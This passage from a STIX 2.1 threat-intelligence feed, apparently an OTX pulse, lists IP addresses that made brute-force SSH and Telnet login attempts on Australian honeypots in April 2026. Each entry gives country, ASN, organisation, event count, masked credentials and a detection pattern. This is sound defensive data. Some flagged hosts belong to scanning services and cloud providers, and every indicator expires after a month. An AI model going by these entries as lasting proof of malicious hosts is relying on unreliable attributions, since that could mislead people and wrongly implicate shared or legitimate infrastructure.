      "valid_until": "2026-05-24T05:15:01.000Z"
    },
    {
      "created": "2026-04-22T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--4800df29-9cf9-494f-ab9c-deda597cd9e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.143.10.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T06:15:03.000Z",
      "valid_until": "2026-05-24T06:15:01.000Z"
    },
    {
      "created": "2026-04-22T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, t**t, u****u, u***1, 3**********4. Passwords observed (masked): !******v, 1*******3, 1**4, 1******q, 3***********4.",
      "id": "indicator--fd748756-47b9-4179-b552-a76e43310c88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.184.248.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T06:15:03.000Z",
      "valid_until": "2026-05-24T06:15:01.000Z"
    },
    {
      "created": "2026-04-22T07:17:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--89430396-5b13-4221-b78a-35f9deaf6697",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T07:17:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.99.1.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T07:17:38.000Z",
      "valid_until": "2026-05-24T07:15:01.000Z"
    },
    {
      "created": "2026-04-22T07:17:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 52207. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--1f4bf2c3-97c0-4637-95b5-7a7c4fd4bd04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T07:17:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.164.30.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T07:17:38.000Z",
      "valid_until": "2026-05-24T07:15:01.000Z"
    },
    {
      "created": "2026-04-22T07:17:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T07:17:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T07:17:38.000Z",
      "valid_until": "2026-05-24T07:15:01.000Z"
    },
    {
      "created": "2026-04-22T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--dc68f334-8cc2-4b70-93a6-09ec71ff4e02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.131.161.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T09:15:03.000Z",
      "valid_until": "2026-05-24T09:15:01.000Z"
    },
    {
      "created": "2026-04-22T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited.",
      "id": "indicator--62630208-0bec-4f88-9085-88091e0176a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.7.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T09:15:03.000Z",
      "valid_until": "2026-05-24T09:15:01.000Z"
    },
    {
      "created": "2026-04-22T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--32e95d2a-13a6-456d-94b9-1586826f518e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T09:15:03.000Z",
      "valid_until": "2026-05-24T09:15:01.000Z"
    },
    {
      "created": "2026-04-22T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--113bc352-339d-4760-a6ea-f4ef5ae08294",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T09:15:03.000Z",
      "valid_until": "2026-05-24T09:15:01.000Z"
    },
    {
      "created": "2026-04-22T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--fd359976-383d-438b-9392-abb5e1f2c667",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T09:15:03.000Z",
      "valid_until": "2026-05-24T09:15:01.000Z"
    },
    {
      "created": "2026-04-22T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--29c6f58b-acca-49c5-9039-362c4ac1b2be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.202.53.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:15:05.000Z",
      "valid_until": "2026-05-24T10:15:01.000Z"
    },
    {
      "created": "2026-04-22T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): s***m. Passwords observed (masked): S*****2.",
      "id": "indicator--a4981b3a-6606-48e7-94c8-22b1138ca02c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.35.59.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:15:05.000Z",
      "valid_until": "2026-05-24T10:15:01.000Z"
    },
    {
      "created": "2026-04-22T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4bc2f410-824a-4734-aa39-c6ff63ac496d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:15:05.000Z",
      "valid_until": "2026-05-24T10:15:01.000Z"
    },
    {
      "created": "2026-04-22T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--badfcc20-f8f6-47e6-b510-ea78dd46c651",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:15:05.000Z",
      "valid_until": "2026-05-24T10:15:01.000Z"
    },
    {
      "created": "2026-04-22T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A.. Usernames observed (masked): r**t, f*****r, t**t, 3**********4, a*******4. Passwords observed (masked): 1****3, 1********!, 1*********y, 1***********3, 3***********4.",
      "id": "indicator--39069422-3f19-4923-8268-6fb9cfe7e019",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.193.159.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:15:05.000Z",
      "valid_until": "2026-05-24T10:15:01.000Z"
    },
    {
      "created": "2026-04-22T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--ee38dde9-48a7-4a3b-978a-9acdd1dff9c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.180.167.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:15:05.000Z",
      "valid_until": "2026-05-24T11:15:02.000Z"
    },
    {
      "created": "2026-04-22T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--237e5344-7c34-4362-8335-758729c55a0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:15:05.000Z",
      "valid_until": "2026-05-24T11:15:02.000Z"
    },
    {
      "created": "2026-04-22T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e0d8f25e-894d-49f3-acbd-9d57082b848b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:15:05.000Z",
      "valid_until": "2026-05-24T11:15:02.000Z"
    },
    {
      "created": "2026-04-22T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PY. ASN(s): 61512. Organisation(s): GIG@NET SOCIEDAD ANONIMA. Usernames observed (masked): r**t, a***n, 3**********4, a*******e, b****a. Passwords observed (masked): 1**4, 1********0, 3***********4, 3**********4, 6****1.",
      "id": "indicator--a39e57ea-36f9-4bef-a496-11839953cea0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.161.237.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T12:15:03.000Z",
      "valid_until": "2026-05-24T12:15:02.000Z"
    },
    {
      "created": "2026-04-22T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company. Usernames observed (masked): r**t, p*******r, 3**********4, ***, c****e. Passwords observed (masked): t*****3, 1****6, 3***********4, 3**********4, A********6.",
      "id": "indicator--13b43596-060b-4dbc-965d-7735ea16c2b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.176.20.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:15:03.000Z",
      "valid_until": "2026-05-24T13:15:02.000Z"
    },
    {
      "created": "2026-04-22T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 137047. Organisation(s): TELECOMMUNICATION AND TECHNOLOGY MASTERS PVT. LIMITED.",
      "id": "indicator--7b5d5579-398f-4a81-bab4-7edd7194cbf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.160.215.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:15:03.000Z",
      "valid_until": "2026-05-24T13:15:02.000Z"
    },
    {
      "created": "2026-04-22T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A.. Usernames observed (masked): p******s. Passwords observed (masked): p********6.",
      "id": "indicator--9e755b2b-684b-41a3-b548-fecbefb2eae5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.123.136.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:15:03.000Z",
      "valid_until": "2026-05-24T13:15:02.000Z"
    },
    {
      "created": "2026-04-22T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): r**t, a***n, 3**********4, a*****a, b*****n. Passwords observed (masked): !**********c, ***, 3***********4, 3**********4, A******3.",
      "id": "indicator--32f83c3e-4dd9-48cd-a4a5-f77e3d41bbb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.6.100.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:15:03.000Z",
      "valid_until": "2026-05-24T13:15:02.000Z"
    },
    {
      "created": "2026-04-22T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 18049. Organisation(s): Taiwan Infrastructure Network Technologie.",
      "id": "indicator--a1876a9e-6338-4208-bbe1-00f2c0c6c124",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.73.177.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:15:03.000Z",
      "valid_until": "2026-05-24T13:15:02.000Z"
    },
    {
      "created": "2026-04-22T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, a***n. Passwords observed (masked): A*****@, F******6, P**********3.",
      "id": "indicator--11cdd625-e962-43d4-b005-a803bbf09248",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.115.183.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:15:03.000Z",
      "valid_until": "2026-05-24T13:15:02.000Z"
    },
    {
      "created": "2026-04-22T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***, o******i, r**t. Passwords observed (masked): , *, a***n, o******i, r**t.",
      "id": "indicator--570ece14-c8a2-440f-8d67-aebfaca97c41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.160.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:15:03.000Z",
      "valid_until": "2026-05-24T13:15:02.000Z"
    },
    {
      "created": "2026-04-22T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--7385d64c-7dcd-4846-9857-0299c2dfa769",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.37.14.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T14:15:10.000Z",
      "valid_until": "2026-05-24T14:15:08.000Z"
    },
    {
      "created": "2026-04-22T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--83ce353d-1c6b-4464-b3b7-9727c243dd26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T14:15:10.000Z",
      "valid_until": "2026-05-24T14:15:08.000Z"
    },
    {
      "created": "2026-04-22T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--79254ed5-be17-4c60-9875-0123951e9ef8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '70.51.71.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T14:15:10.000Z",
      "valid_until": "2026-05-24T14:15:08.000Z"
    },
    {
      "created": "2026-04-22T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 15802. Organisation(s): Emirates Integrated Telecommunications Company PJSC. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--d525aa11-71a4-4d80-805a-a679f7a2fad4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.200.32.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T14:15:10.000Z",
      "valid_until": "2026-05-24T14:15:08.000Z"
    },
    {
      "created": "2026-04-22T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--6ae49ffa-9a43-4da5-8539-f1ba4c750c43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:15:11.000Z",
      "valid_until": "2026-05-24T15:15:08.000Z"
    },
    {
      "created": "2026-04-22T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135269. Organisation(s): Fast 4 Technologies.",
      "id": "indicator--05183aeb-5843-4c34-8581-49beee73307b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.250.28.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:15:11.000Z",
      "valid_until": "2026-05-24T15:15:08.000Z"
    },
    {
      "created": "2026-04-22T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 8717. Organisation(s): A1 Bulgaria EAD. Usernames observed (masked): t**t. Passwords observed (masked): c******e.",
      "id": "indicator--d839b69d-bbd1-4433-862a-681eed138cd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.169.44.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:15:11.000Z",
      "valid_until": "2026-05-24T15:15:08.000Z"
    },
    {
      "created": "2026-04-22T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--146b0c96-a322-4b3a-86bf-ef6d927e1b2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.189.207.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:15:11.000Z",
      "valid_until": "2026-05-24T15:15:08.000Z"
    },
    {
      "created": "2026-04-22T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 36992. Organisation(s): Etisalat Misr. Usernames observed (masked): r**t, s***m, 3**********4, a*******4, a****r. Passwords observed (masked): 1****6, 1******v, 1*******9, 1******R, **.",
      "id": "indicator--d1158602-c160-4ca5-933d-418247283312",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '62.193.106.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:15:11.000Z",
      "valid_until": "2026-05-24T15:15:08.000Z"
    },
    {
      "created": "2026-04-22T15:15:11.000Z",
